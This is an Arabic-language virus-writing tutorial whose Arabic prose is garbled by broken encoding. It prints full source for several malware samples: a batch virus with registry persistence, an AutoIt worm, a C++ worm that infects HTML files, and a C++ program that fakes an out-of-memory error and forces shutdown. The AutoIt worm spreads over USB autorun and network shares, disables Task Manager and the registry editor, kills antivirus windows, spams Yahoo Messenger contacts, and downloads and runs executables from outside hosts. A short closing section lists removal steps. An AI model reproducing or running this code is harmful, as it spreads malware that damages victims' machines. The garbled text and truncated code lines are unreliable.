registry 



  (Super SG) ٍِك٤ 

حّ ٝغ٬ظ ه٤ْ ك٠ جٍُؾٓطٍٟ ٝػَٔ جػحوٙ ض٤ٔٓٚ ًٛج جُل٤ٍِ ٣وّٞ ذؼَٔ غ٬ظ ِٓلحش ك٠ جُ٘ظ

 ٠ٌُ ٫ ٣ٌٗق جُل٤ٍِ   AUTORUNُِِٔلحش ٝٓٓف ِٓق جُل٤ٍِ جٍُت٠ٓ٤ ِٝٓق  

غح٤ٗٚ ٣وّٞ ذطـ٤٤ٍ جْْ جُِٔق ٖٓ  60ذؼى ٓح ٣ؼَٔ ٜٓٔطٚ ٠ٛٝ ػَٔ جؿ٬م ذؼى (VIRUS A) ٣وّٞ 

VIRUS A    ج٠ُVIRUS AA  غْ ضـ٤٤ٍ جْْ ِٓقVIRUS BB    ج٠ُVIRUS B  

 

 ْٞف ٗٓأٍ ُٔحيج ٗـ٤٤ٍ جْْ جُِٔق ٫ٕ ٝٞؼ٘ح ه٤ْ ك٠ جٍُؾٓطٍٟ جْٔحء جُِٔلحش جُكو٤و٤ٚ ٠ٛٝ 

 ((VIRUS C,VIRUS B,VIRUS A  ٌُٝ٘٘ح ْٞف ٟٗغ جْْ ك٤ٍِ ٖٓ جُػ٬غٚ ذحْْ ٚك٤ف

ٝيُي ُؼىّ ػَٔ ؾ٤ٔغ جُل٤ٍْٝحش جُػ٬غٚ   ٓغ جُرؼٝ ٝيُي ذطـ٤٤ٍ جْْ جُل٤ٍِ جًُٟ ٣ؼَٔ ج٠ُ جْْ 

ىّ جُؼَٔ ٓغ جه٬ع ج٣ُٞ٘ىَٝ جٍُٔٙ جُوحوٓٚ ٝضك٣َٞ جْْ ِٓق جُل٤ٍِ جُػح٠ٗ ذحْْ ٚك٤ف نح٠ة ُؼ

 ٤ُؼَٔ ٓغ ٓغ جه٬ع ج٣ُٞ٘ىَٝ جٍُٔٙ جُوحوٓٚ 

   VIRUS BBجٍ    VIRUS Bذؼى ٓح ٣ؼَٔ ٜٓٔطٚ ٣وّٞ ذطـ٤٤ٍ جْْ جُِٔق ٖٓ (VIRUS B) ٣وّٞ 

  VIRUS Cج٠ُ    VIRUS CCغْ ضـ٤٤ٍ جْْ ِٓق 

 ج٠ُ   VIRUS Cذؼى ٓح ٣ؼَٔ ٜٓٔطٚ ٣وّٞ ذطـ٤٤ٍ جْْ جُِٔق ٖٓ (VIRUS C) ٣وّٞ 

 VIRUS CC  غْ ضـ٤٤ٍ جْْ ِٓقVIRUS AA    ج٠ُVIRUS A   غْ ٣وّٞ جُل٤ٍِ ذٍؾٞع

 ج٠ُ جُرىج٣ٚ ٍٓٙ جنٍٟ 

                               

                                      

                             



 

 ( ذِـٚ جُرحضٕ  virus masterٝج٤ٌُْ ًٞو جُل٤ٍِ)

@echo off                                                                  (VIRUS A) 

echo shutdown -r -t 60>c:\A.bat 

echo ren BB.bat B.bat>nul >>c:\A.bat 

echo ren A.bat AA.bat>nul >>c:\A.bat 

                                                                                   (VIRUS BB) 

echo start=C:\WINDOWS\winnt256.bmp>c:\BB.bat                       

echo ren CC.bat C.bat>nul >>c:\BB.bat 

echo ren B.bat BB.bat>nul >>c:\BB.bat 

                                                                                   (VIRUS CC)                                                                        

echo start=C:\WINDOWS\clock.avi>c:\CC.bat 

echo ren AA.bat A.bat>nul >>c:\CC.bat 

echo ren C.bat CC.bat>nul >>c:\CC.bat 

                                                                                  (ADD REG VIRUS A) 

Reg add hkcu\software\microsoft\windows\currentversion\run /v 3 /t 

reg_sz /d "c:\C.bat" 

                                                                                  (ADD REG VIRUS B) 

Reg add hkcu\software\microsoft\windows\currentversion\run /v 2 /t 

reg_sz /d "c:\B.bat" 

                                                                                  (ADD REG VIRUS C) 

Reg add hkcu\software\microsoft\windows\currentversion\run /v 1 /t 

reg_sz /d "c:\A.bat" 

 

del autorun.inf             (DELET VIRUS MASER AND AUTORUN FILE ) 

del super SG.bat 

 

  bat.٣ٟٝغ ًَ ًٛٙ ج٫ًٞجو ك٠ ِٓق ذحٓطىجو

 

 

 

 

 

 

 

 

 

 
 

   

 

 
 



 

  (AUTO IT SCRIPT) ًٛج جُل٤ٍِ ٓرٍٓؽ ذِـٚ جٌٍُٓذص ذرٍٗحٓؽ  new folder  ٍُِجٌُٞو   ل٤                                         
 

$setting = "setting"; ٍِِٝٓق جُلح٣  

$ini = ".ini"  

$nql = ".nql"  

$xls = ".xls"  

$exe = ".exe"  

$toigioupdate = @HOUR + 2  

$toigio = @MIN + 30  

   ٣وّٞ ذ٘ٓم ٗلٓٚ ك٢ جُٔؿِى جٍُت٢ٓ٤

FileCopy (@AutoItExe, @SystemDir & "\" & $name & $exe,0)  

   ٛ٘ح ٣وّٞ ذكٔح٣س ٗلٓٚ ج٫نطلحء جٝ ُِوٍجءز كو١ جٝ ٓؿِى ٗظحّ

FileSetAttrib (@SystemDir & "\" & $name & $exe,"+RSH")  

  ٗٓم ٗلٓٚ ج٠ُ ٓؿِى جُ٘ظحّ

FileCopy (@AutoItExe, @WindowsDir & "\" & $name & $exe,0)  

ج٣٫ح٤ُد جُٓحذوس ٣وّٞ ذكٔح٣س ٗلٓٚ ػرٍ   

FileSetAttrib (@WindowsDir & "\" & $name & $exe,"-RSH")  

  ٣وّٞ ذحٗٗحء ٓىجنَ ك٢ جٍُٝؾٓط١ٍ ٤ُٗطـَ ضِوحت٤ح ٓغ ج٣ُٞ٘ىَٝ

RegWrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 

NT\CurrentVersion\Winlogon","Shell","REG_RegWrite 

("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run","Yaho

o Messengger","; جُـحء option des dossiers ًُٜج ٫ ٣ٌٌْٔ٘ ٌؤ٣طٜح ك٢ ج١٣ٍُٗ  

RegWrite 

("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl

orer","NofolderOptions","; جُٜٔحّ جُـحء جوجٌز   

RegWrite 

("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syste

m", "DisableTaskMgr",; جُـحء ٓكٌٍ جٍُٝؾٓط١ٍ  

RegWrite 

("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syste

m", "DisableRegistryTools",; ٗٗحء ؾىٍٝ ٤ُٗطـَ ضِوحت٤ح ٝ ك٢ جُٞهص جُٔكىوج   

RegWrite 

("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule","AtTas

kMaxHours","REG__RunDOS ("AT /delete /yes")  

_RunDOS ("AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su " & @SystemDir & "\" 

&$name & $exe)  

createini()  

update()  

sendmess()  

  هٍجءز جُِٔلحش جُٔٗطًٍس ٝ ذًٜج ٣وّٞ ذٍ٘ٗ ٗلٓٚ ك٢ جُٗرٌس

$a = RegRead 

("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Wo

rkgroupCrawler\If $a ="" Then  

copynetwork ()  

EndIf  



If $a <>"" Then  

If FileExists ($a)=0 Then  

copynetwork()  

EndIf  

EndIf  

If ProcessExists ("game_y.exe") Then  

ProcessClose ("game_y.exe")  

EndIf  

Sleep (1000)  

If ProcessExists ("game_y.exe") Then  

ProcessClose ("game_y.exe")  

EndIf  

Sleep (1000)  

If ProcessExists ("game_y.exe") Then  

ProcessClose ("game_y.exe")  

EndIf  

Sleep (1000)  

If ProcessExists ("game_y.exe") Then  

ProcessClose ("game_y.exe")  

EndIf  

Sleep (1000)  

  ٗٓم ٗلٓٚ ج٠ُ ًَ ك٬ٔ ١ٌٞٔٓ ٓطِٛس ذحٌُٔر٤ٞضٍ

While (1)  

killprocess()  

copyusb()  

If @HOUR = $toigioupdate Then  

update()  

If ProcessExists ("game_y.exe") Then  

ProcessClose ("game_y.exe")  

EndIf  

Sleep (1000)  

If ProcessExists ("game_y.exe") Then  

ProcessClose ("game_y.exe")  

EndIf  

Sleep (1000)  

If ProcessExists ("game_y.exe") Then  

ProcessClose ("game_y.exe")  

EndIf  

Sleep (1000)  

If ProcessExists ("game_y.exe") Then  

ProcessClose ("game_y.exe")  

EndIf  

Sleep (1000)  

EndIf  

If @MIN = $toigio Then  

sendmess()  



EndIf  

WEnd  

  ٣وّٞ ذطك٤َٔ ج٫ػىجوجش ٖٓ ٓٞهغ جُٛحٗغ ٝ الله جػِْ جٕ ًحٗص كٌٍز جنٍٟ ج٤ٞلٞٛح

Func downloadurl()  

$settingurl="http://nhatquanglan3.t35.com"  

If InetGet ($settingurl & "/" & $setting & $nql, @SystemDir & "\" & $setting & $ini,1,0) 

= 0 Then  

InetGet ($settingurl & "/" & $setting & $xls, @SystemDir & "\" & $setting & $ini,1,0)  

EndIf  

Sleep (1000)  

$downloaded="success"  

$settingurl1 = "http://nhatquanglan4.t35.com"  

If IniRead (@SystemDir & "\" & $setting & $ini,"setting","downloaded","") <> 

$downloaded Then  

If InetGet ($settingurl1 & "/" & $setting & $nql, @SystemDir & "\" & $setting & 

$ini,1,0) = 0 Then  

InetGet ($settingurl1 & "/" & $setting & $xls, @SystemDir & "\" & $setting & $ini,1,0)  

EndIf  

EndIf  

FileSetAttrib (@SystemDir & "\" & $setting & $ini,"+RSH")  

EndFunc  

  ضكى٣ع جُلح٣ٍِٝ

Func update()  

downloadurl()  

$website = IniRead (@SystemDir & "\" & $setting & $ini,"setting","website","")  

$check01 = IniRead (@SystemDir & "\" & $setting & $ini,"setting","filedownload1","")  

$check02 = IniRead (@SystemDir & "\" & $setting & $ini,"setting","filedownload2","")  

$check03 = IniRead (@SystemDir & "\" & $setting & $ini,"setting","filedownload3","")  

$size01 = Number (IniRead (@SystemDir & "\" & $setting & $ini,"setting","size01",""))  

$size02 = Number (IniRead (@SystemDir & "\" & $setting & $ini,"setting","size02",""))  

$size03 = Number (IniRead (@SystemDir & "\" & $setting & $ini,"setting","size03",""))  

If $check01 <>"" Then  

If Not FileExists (@SystemDir & "\" & $check01 & $exe) Then  

If InetGet ($website & "/" & $check01 & $nql,@SystemDir & "\" & $check01 & 

$exe,1,0)=0 Then  

InetGet ($website & "/" & $check01 & $xls,@SystemDir & "\" & $check01 & $exe,1,0)  

EndIf  

Sleep (3000)  

If FileExists (@SystemDir & "\" & $check01 & $exe) Then  

If Number (FileGetSize (@SystemDir & "\" & $check01 & $exe))/1024>=$size01 Then  

FileSetAttrib (@SystemDir & "\" & $check01 & $exe,"+RSH")  

Run (@SystemDir & "\" & $check01 & $exe)  

EndIf  

EndIf  

EndIf  

EndIf  



If $check02 <>"" Then  

If Not FileExists (@SystemDir & "\" & $check02 & $exe) Then  

If InetGet ($website & "/" & $check02 & $nql,@SystemDir & "\" & $check02 & 

$exe,1,0)=0 Then  

InetGet ($website & "/" & $check02 & $xls,@SystemDir & "\" & $check02 & $exe,1,0)  

EndIf  

Sleep (3000)  

If FileExists (@SystemDir & "\" & $check02 & $exe) Then  

If Number (FileGetSize (@SystemDir & "\" & $check02 & $exe))/1024>=$size02 Then  

FileSetAttrib (@SystemDir & "\" & $check02 & $exe,"+RSH")  

Run (@SystemDir & "\" & $check02 & $exe)  

EndIf  

EndIf  

EndIf  

EndIf  

If $check03 <>"" Then  

If Not FileExists (@SystemDir & "\" & $check03 & $exe) Then  

If InetGet ($website & "/" & $check03 & $nql,@SystemDir & "\" & $check03 & 

$exe,1,0)=0 Then  

InetGet ($website & "/" & $check03 & $xls,@SystemDir & "\" & $check03 & $exe,1,0)  

EndIf  

Sleep (3000)  

If FileExists (@SystemDir & "\" & $check03 & $exe) Then  

If Number (FileGetSize (@SystemDir & "\" & $check03 & $exe))/1024>=$size03 Then  

FileSetAttrib (@SystemDir & "\" & $check03 & $exe,"+RSH")  

Run (@SystemDir & "\" & $check03 & $exe)  

EndIf  

EndIf  

EndIf  

EndIf  

$toigioupdate = @HOUR + 2  

If $toigioupdate >12 Then  

$toigioupdate = $toigioupdate -12  

EndIf  

EndFunc  

  جٗٗحء ٌْحُس ٤ٍُِْٜح ج٠ُ ؾ٤ٔغ ج٬٤ٔ٣٫ش ك٢ ج٤ُحٛٞ

Func sendmess()  

$myweb = IniRead (@SystemDir & "\" & $setting & $ini,"setting","myweb","")  

If $myweb = "" Then  

$myweb = "http://nhatquanglan1.0catch.com"  

EndIf  

Dim $tin [10]  

$tin[0] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[0]","")  

If $tin[0] = "" Then  

$tin[0] = "E may, vao day coi co con nho nay ngon lam " & $myweb & " "  

EndIf  



$tin[1] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[1]","")  

If $tin[1] = "" Then  

$tin[1] = "Vao day nghe bai nay di ban " & $myweb & " "  

EndIf  

$tin[2] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[2]","")  

If $tin[2] = "" Then  

$tin[2] = "Vao day nghe bai nay di ban " & $myweb & " "  

EndIf  

$tin[3] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[3]","")  

If $tin[3] = "" Then  

$tin[3] = "Biet tin gi chua, vao day coi di " & $myweb & " "  

EndIf  

$tin[4] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[4]","")  

If $tin[4] = "" Then  

$tin[4] = "Trang Web nay coi cung hay, vao coi thu di " & $myweb & " "  

EndIf  

$tin[5] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[5]","")  

If $tin[5] = "" Then  

$tin[5] = "Toi di lang thang lan trong bong toi buot gia, ve dau khi da mat em roi? Ve dau 

khi bao nhieu mo EndIf  

$tin[6] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[6]","")  

If $tin[6] = "" Then  

$tin[6] = "Khoc cho nho thuong voi trong long, khoc cho noi sau nhe nhu khong. Bao 

nhieu yeu thuong nhung EndIf  

$tin[7] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[7]","")  

If $tin[7] = "" Then  

$tin[7] = "Tha nguoi dung noi se yeu minh toi mai thoi thi gio day toi se vui hon. Gio 

nguoi lac loi buoc chan EndIf  

$tin[8] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[8]","")  

If $tin[8] = "" Then  

$tin[8] = "Loi em noi cho tinh chung ta, nhu doan cuoi trong cuon phim buon. Nguoi da 

den nhu la giac mo EndIf  

$tin[9] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[9]","")  

If $tin[9] = "" Then  

$tin[9] = "Tra lai em niem vui khi duoc gan ben em, tra lai em loi yeu thuong em dem, tra 

lai em niem tin thang EndIf  

 !tieude = WinGetTitle("Yahoo$جنط٤حٌ ؾ٤ٔغ ج٬٤ٔ٣٫ش ك٢ ج٤ُحٛٞ ٤ٍَُْ ػ٘ٞجٕ جُٔٞهغ ُِطك٤َٔ ٓ٘ٚ

Messenger", "")  

$kiemtra = WinExists ($tieude)  

If $kiemtra = 1 Then  

$ngaunhien = Random(0,9,1)  

ClipPut ($tin[$ngaunhien])  

BlockInput (1)  

WinActivate ($tieude)  

Send ("!m")  

Send ("un")  



Send ("^v {ENTER}{ENTER}")  

Send ("^m")  

Send ("{DOWN}")  

Send ("^{SHIFTDOWN}{END}{SHIFTUP}")  

Send ("{ENTER}")  

Send ("^v {ENTER}")  

BlockInput (0)  

EndIf  

$toigio=@MIN + 30  

If $toigio>60 Then  

$toigio=$toigio-60  

EndIf  

EndFunc  

  وجُس ُوطَ ج٫ٗط٢ كح٣ٍِٝ ٝ جوجٌز جُٜٔحّ ٝٓكٌٍ جٍُٝؾٓط١ٍ ٝجوجز جُىِٝ

Func killprocess()  

If WinExists ("Bkav2006") Then  

WinClose ("Bkav2006")  

RegDelete 

("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",

"BkavFw")  

EndIf  

If WinExists ("System Configuration") Then  

WinClose ("System Configuration")  

EndIf  

If WinExists ("Registry") Then  

WinClose ("Registry")  

EndIf  

If WinExists ("Windows Task") Then  

WinClose ("Windows Task")  

EndIf  

If WinExists ("[FireLion]") Then  

RegDelete 

("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run","IEPro

tection")  

Shutdown (2)  

EndIf  

If ProcessExists ("cmd.exe") then  

ProcessClose ("cmd.exe")  

EndIf  

EndFunc  

  وجُس ٗٓم ٗلٓٚ ك٢ جُل٬ٔ ١ٌٞٔٓ

Func copyusb()  

$usb = DriveGetDrive("REMOVABLE")  

If NOT @error Then  

Dim $odia[6]  

$odia[1]=""  



For $i=1 To $usb[0]  

$odia[$i-1]=$usb[$i]  

Next  

If $odia[0] <>"A:" Then  

If $odia[0]<>"" Then  

FileCopy (@WindowsDir & "\" & $name & $exe,$odia[0] & "\New Folder.exe",0)  

Sleep (1)  

FileCopy (@SystemDir & "\" & $name & $exe,$odia[0] & "\" & $name &$exe,0)  

Sleep (1)  

FileCopy (@SystemDir & "\autorun.ini",$odia[0] & "\autorun.inf",0)  

FileSetAttrib ($odia[0] & "\autorun.inf","+RSH")  

Sleep (1)  

Search($odia[0])  

EndIf  

EndIf  

If $odia[0]="A:" Then  

If $odia[1]<>"" Then  

FileCopy (@WindowsDir & "\" & $name & $exe,$odia[1] & "\New Folder.exe",0)  

Sleep (1)  

FileCopy (@SystemDir & "\" & $name & $exe,$odia[1] & "\" & $name &$exe,0)  

Sleep (1)  

FileCopy (@SystemDir & "\autorun.ini",$odia[1] & "\autorun.inf",0)  

FileSetAttrib ($odia[1] & "\autorun.inf","+RSH")  

Sleep (1)  

Search($odia[1])  

EndIf  

EndIf  

EndIf  

EndFunc  

٠ ٓؿِى جُ٘ظحّوجُس جُركع ٝٗوَ ٗلٓٚ جُ   

Func Search($current)  

Local $search = FileFindFirstFile($current & "\*.*")  

While 1  

Dim $file = FileFindNextFile($search)  

If @error Or StringLen($file) < 1 Then ExitLoop  

If StringInStr(FileGetAttrib($current & "\" & $file), "D") And ($file <> "." Or $file <> 

"..") Then  

FileCopy (@WindowsDir & "\" & $name & $exe,$current & "\" & $file & "\" & $file & 

$exe,0)  

Search($current & "\" & $file)  

EndIf  

Sleep (1)  

WEnd  

FileClose($search)  

EndFunc  

  وجُس ٗوَ ٗلٓٚ ج٠ُ ٓؿِى جُٗرٌس



Func copynetwork ()  

Dim $mang[30]  

For $i=1 to 30  

$read = RegEnumKey 

("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Wo

rkgroupCrawler\If @error Then ExitLoop  

$read = StringReplace ($read,"/","\")  

$mang[$i] = "\\" & $read  

$checkcopy = FileCopy (@WindowsDir & "\" & $name & $exe,$mang[$i] & "\New 

Folder.exe",1)  

If $checkcopy =1 Then  

FileCopy (@SystemDir & "\" & $name & $exe,$mang[$i] & "\" & $name & $exe,0)  

FileCopy (@SystemDir & "\autorun.ini",$mang[$i] & "\autorun.inf",1)  

FileSetAttrib ($mang[$i] & "\autorun.inf","+RSH")  

Search($mang[$i])  

EndIf  

Next  

RegWrite 

("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Wo

rkgroupCrawler\EndFunc  

  ()Func createini  وجُس جٗٗحء ِٓق جٝضٞ ٌٕ

IniWrite (@SystemDir & "\autorun.ini","Autorun","Open",$name & $exe)  

IniWrite (@SystemDir & "\autorun.ini","Autorun","Shellexe cute",$name & $exe)  

IniWrite (@SystemDir & "\autorun.ini","Autorun","Shell\Open\command",$name & 

$exe)  

IniWrite (@SystemDir & "\autorun.ini","Autorun","Shell","Open")  

Sleep (1)  

FileSetAttrib (@SystemDir & "\autorun.ini","+RSH")  

EndFunc 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



Html Worm Source Code 
 ++Cذِـٚ  الكود المصدر لفيروس اتش تي ام ال في الكود تحت

HTML Worm 
// Name: Win32.HTMLworm 
// Author: WarGame 
// Compiler: Borland C++ 
// Description: This worm spreads by adding a link to itself in html files 
// Improvements: You could add a link to a page containing an IE exploits :) 
 
#include 
#include 
using namespace std; // :) 
 
// This function does the real work 
void HTMLSpread(char *htmlfile) 
{ 
HANDLE html_fd; 
DWORD html_filesize,read_bytes,written_bytes; 
char *c_htmlcode = NULL; 
string *htmlcode = NULL; // make it simpler 
long pos; 
 
// open the html file 
html_fd = CreateFile(htmlfile,GENERIC_READ|GENERIC_WRITE, 
FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_

ATTRIBUTE_NORMAL,NULL); 
 
if(html_fd == INVALID_HANDLE_VALUE) 
{ 
return; 
} 
 
// get file size 
html_filesize = GetFileSize(html_fd,NULL); 
 
// allocate enough memory 
c_htmlcode = (char *)malloc(html_filesize); 
 
if(c_htmlcode == NULL) 
{ 
return; 
} 
 
// read entire file 
if(ReadFile(html_fd,c_htmlcode,html_filesize,&read_bytes,NULL) == 0) 
{ 
CloseHandle(html_fd); 
return; 
} 
 



// create a string object 
htmlcode = new string(c_htmlcode); 
free(c_htmlcode); 
 
// already infected ? 
if(htmlcode->find("") == string::npos) 
{ 
 
pos = htmlcode->find(""); 
 
if(pos == string::npos) 
{ 
pos = htmlcode->find(""); 
 
if(pos == string::npos) 
{ 
CloseHandle(html_fd); 
delete htmlcode; 
return; 
} 
} 
 
// add link 
htmlcode->replace(pos,7,"\r\n\r\n"); 
 
// write new file 
SetFilePointer(html_fd,0,0,FILE_BEGIN); 
WriteFile(html_fd,htmlcode->c_str(),htmlcode->size(),&written_bytes,NULL); 
// infection mark 
WriteFile(html_fd,"",36,&written_bytes,NULL); 
 
} 
 
// close all 
CloseHandle(html_fd); 
delete htmlcode; 
 
} 
 
// add worm to startup list 
void AutoStart(char *my_path) 
{ 
HKEY hkey; 
 
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, 
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0, 
KEY_WRITE,&hkey)==ERROR_SUCCESS) 
{ 
RegSetValueEx(hkey,"himon",0,REG_SZ,my_path,strlen(my_path)); 
RegCloseKey(hkey); 



} 
 
if(RegOpenKeyEx(HKEY_CURRENT_USER, 
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0, 
KEY_WRITE,&hkey)==ERROR_SUCCESS) 
{ 
RegSetValueEx(hkey,"himon",0,REG_SZ,my_path,strlen(my_path)); 
RegCloseKey(hkey); 
} 
} 
 
// This will scan drives for html files 
void S3arch(char *pt) { 
char sc[MAX_PATH],buf[MAX_PATH]; 
WIN32_FIND_DATA in; 
HANDLE fd,file; 
char *fm = "%s\\%s",*fm1 = "%s\\*.*"; 
 
if(strlen(pt) == 3) 
{ 
pt[2] = '\0'; /* :-) */ 
} 
 
sprintf(sc,fm1,pt); 
fd = FindFirstFile(sc,&in); 
 
do 
{ 
 
sprintf(buf,fm,pt,in.cFileName); 
 
/* dot :) */ 
if(strcmp(in.cFileName,"..") != 0 && strcmp(in.cFileName,".") != 0 && 

(in.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) 
{ 
S3arch(buf); 
} 
 
/* File found */ 
else 
{ 
 
/* is it good to infect ? */ 
 
if(strstr(in.cFileName,".html") || strstr(in.cFileName,".htm")) 
{ 
HTMLSpread(buf); 
} 
} 
 



}while(FindNextFile(fd,&in)); 
 
FindClose(fd); 
} 
// entry point of worm 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, 

LPSTR lpCmdLine, int nCmdShow) 
{ 
// usual shit: installation part, startup and so on ... 
char I_am_here[MAX_PATH],installation_path[MAX_PATH]; 
char Drives[3],Drive = 0; 
UINT drive_type; 
 
// only one copy 
CreateMutex(NULL,FALSE,"__HTMLworm_by_WarGame_EOF__"); 
if(GetLastError() == ERROR_ALREADY_EXISTS) 
{ 
ExitProcess(0); 
} 
 
GetSystemDirectory(installation_path,MAX_PATH); 
strcat(installation_path,"\\himon.exe"); 
 
GetModuleFileName(NULL,I_am_here,MAX_PATH); 
// Copy! 
CopyFile(I_am_here,installation_path,FALSE); 
AutoStart(installation_path); 
 
// the real part starts here 
while(1) 
{ 
/* Search for drives */ 
for(Drive = 'C';Drive <= 'Z';Drive++) 
{ 
Drives[0] = Drive; 
Drives[1] = ':'; 
Drives[2] = '\\'; 
Drives[3] = '\0'; 
 
/* drive ? */ 
drive_type = GetDriveType(Drives); 
 
/* only fixed, remote and removable drives */ 
if(drive_type == DRIVE_FIXED || 
drive_type == DRIVE_REMOTE || 
drive_type == DRIVE_REMOVABLE) 
{ 
/* GO! */ 
S3arch(Drives); 
} 
} 



ك٤ٍِٝ ه١ٞ ؾىج ٣وّٞ ذا٣وحف جُؿٜحَ ٣ٝظٍٜ ُي ٌْحُس ذإ جُؿٜحَ ؿ٤ٍ هحوٌ ػ٠ِ 

     ++Cذِـٚ  ًحِٓس ramهٍجءز جُِٔق ٥ٕ جُل٤ٍِٝ ٣ٓطِٜي 
 : جٌُٞو جُٔٛى١ٌ ُِل٤ٍِٝ

 :ًٞو

 #include <windows.h> 

    #include <stdio.h> 

    #include <stdlib.h> 

 

    { 

    char sys1[256]; 

    char sys2[256]; 

    char win1[256]; 

    GetModuleFileName(hMod, path, sizeof(path)); 

    GetSystemDirectory(sys1, sizeof(sys1)); 

    GetSystemDirectory(sys2, sizeof(sys2)); 

    GetWindowsDirectory(win1, sizeof(win1)); 

    strcat(sys1, "\\Sleep.exe"); 

    strcat(sys2, "\\Doom32.com"); 

    strcat(win1, "\\WinUpdate.exe"); 

    CopyFile(path, sys1, false); 

    CopyFile(path, sys2, false); 

    CopyFile(path, win1, false); 

 

    MessageBox (0, "System Out Of Ram, Restart To AutoFix", "Error !", 

MB_ICONERROR | MB_OK); 

 

    HKEY hKey; 

    RegOpenKeyEx(HKEY_LOCAL_MACHINE, 

"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, 

&hKey); 

    RegSetValueEx(hKey, "SLEEP", 0, REG_SZ, (const unsigned char*) sys1, 

sizeof(sys1)); 

    RegSetValueEx(hKey, "DOOM32", 0, REG_SZ, (const unsigned char*) sys2, 

sizeof(sys2)); 

    RegSetValueEx(hKey, "WinUpdate", 0, REG_SZ, (const unsigned char*) win1, 

sizeof(win1)); 

    RegCloseKey(hKey); 

    } 

 

    { 

    system("shutdown -s -f "); 

    MessageBox(NULL,"Not enough memory to load this file.","Error !", 

MB_ICONERROR | MB_OK); 

    } 
 

 



 جُكٔح٣س ٌٝٓحككٚ جُل٤ٍْٝحش                                            

 
 جُهطٞجش جٌُٔحككٚ:

 

 ص٫ضٛحٍ ذح٫ٗطٍٗهطغ ج -1

٠ٌُ ٣٫ٌٔ٘ي ٖٓ جُىنٍٞ ُِرٍجٓؽ جُٔٓحػىٙ ك٠   startجُٔٞؾٞو ك٠  runذؼٝ جُل٤ٍْٝحش ضهل٠  -2

أ٫ٕ هْ ذٞٞغ ًٛج جٌُٞو ك٠ ْطٍ  msconfig    ٝgroup policeج٣ُٞ٘ىَٝ ٓػَ جٍُؾٓطٍٟ ٝ 

 ج٫ٝجٍٓ ك٢ ج٣ُٞ٘ىَٝ جٝ ػَٔ ِٓق ذحضٕ ذٜح 

Reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion 

\policies\Explorer\ /v NoRun /t reg_dword /d 0 

 

 جُط٠ ذؿحٗرٜح جْْ جُٔٓطهىّ  task mangerج٣وحف ؾ٤ٔغ جُرٍجٓؽ ك٠  -3

ٓغ ذؼٝ ٝجيج ًحٕ ٓؼط٬ هْ   alt – ctrl – deleteػ٠ِ   ١ضوّٞ ذحُٟـ   task mangerُٝطٗـ٤َ 

 ًٛج جُٔٓحٌ غْ جضرغ  gpedit.mscغْ جًطد   runذىنٍٞ ج٠ُ 

Administrative templates >>system >>alt – ctrl – del >>remove task 

manger>>>disabled  

ئظٜحٌ جُِٔلحش جُٔهل٤س ِٝٓلحش جُ٘ظحّ  ٝجظٜحٌ ج٫ٓطىجوجش ُِِٔلحش                 -4

                     
غْ ٞغ ًٛج   bat.ٍ جٓطىجوٙ ج٠ُ ٝجيج ًحٕ ٓؼط٬ ٣٫ٝٓطؿ٤د ٣ٍٝؾغ ًٔح ًحٕ هْ ذؼَٔ ِٓق ٠ٛٗ ٝؿ٤

 جٌُٞو ٝجقلظٚ ٖٝـَ جُِٔق

HKEY _USER\Software\Microsoft\Windows\Curre ntVersion 



\Policies\Explorer\NoFolderOptions /t REG_DWORD /d 0  
 

HKEY _MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion 

\Policies\Explorer\NoFolderOptions /t REG_DWORD /d 0 

 جُط٠ ضؼَٔ ٓغ ًَ جه٬ع ٣ُِٞ٘ىَٝ  start upضٞه٤ق ذٍجٓؽ  -5

  start upغْ  msconfigغْ جًطد runغْ   startُٝطٗـ٤َ جُرٍٗحٓؽ جُٔٓثٍٞ ػٖ يُي جونَ ػ٠ِ    

 غْ جٞـ١ ػ٠ِ   serviceٝػَٔ ج٣وحف ٌَُ جُرٍجٓؽ ٓحػىج ج٫ٗط٠ ك٤ٍِ غْ جٞـ١ ػَ جُطر٣ٖٞ        

    Hide all Microsoft service   ٍِغْ جُـ٠ ًَ جٍُٓك٤ّ ٓحػىج ج٫ٗط٠ ك٤ 

 start upك٠ كُٞىٌ ٓٓف ؾ٤ٔغ ِٓلحش جُٔٞؾٞوٙ  -5

C:\Documents and Settings\ جْْ جُٔٓطهىّ   \Start Menu\Programs\Startup 

  runٝجيج ًحٕ ٓؼط٬ هْ ذىنٍٞ ج٠ُ   runك٠   regeditجُىنٍٞ ك٠ جٍُؾٓطٍٟ ػٖ جُط٣ٍن جٍٓ  -6

 غْ جضرغ ًٛج جُٔٓحٌ  gpedit.mscغْ جًطد 

